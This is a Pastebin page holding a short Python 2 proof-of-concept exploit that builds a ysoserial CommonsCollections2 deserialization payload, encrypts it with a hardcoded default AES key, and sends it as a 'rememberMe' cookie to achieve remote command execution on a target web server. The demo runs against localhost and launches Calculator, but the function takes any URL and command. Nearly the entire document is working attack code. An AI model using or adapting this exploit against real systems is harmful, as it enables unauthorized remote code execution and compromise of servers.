Advertisement
Guest User

Untitled

a guest
Oct 20th, 2019
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. import os
  2. import re
  3. import base64
  4. import uuid
  5. import subprocess
  6. import requests
  7. from Crypto.Cipher import AES
  8.  
  9. JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
  10.  
  11.  
  12. def poc(url, rce_command):
  13. if '://' not in url:
  14. target = 'https://%s' % url if ':443' in url else 'http://%s' % url
  15. else:
  16. target = url
  17. try:
  18. payload = generator(rce_command, JAR_FILE) # 生成payload
  19. r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
  20. print r.text
  21. except Exception, e:
  22. pass
  23. return False
  24.  
  25.  
  26. def generator(command, fp):
  27. if not os.path.exists(fp):
  28. raise Exception('jar file not found!')
  29. popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
  30. stdout=subprocess.PIPE)
  31. BS = AES.block_size
  32. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  33. key = "kPH+bIxk5D2deZiIxcaaaA=="
  34. mode = AES.MODE_CBC
  35. iv = uuid.uuid4().bytes
  36. encryptor = AES.new(base64.b64decode(key), mode, iv)
  37. file_body = pad(popen.stdout.read())
  38. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  39. return base64_ciphertext
  40.  
  41.  
  42. if __name__ == '__main__':
  43. poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement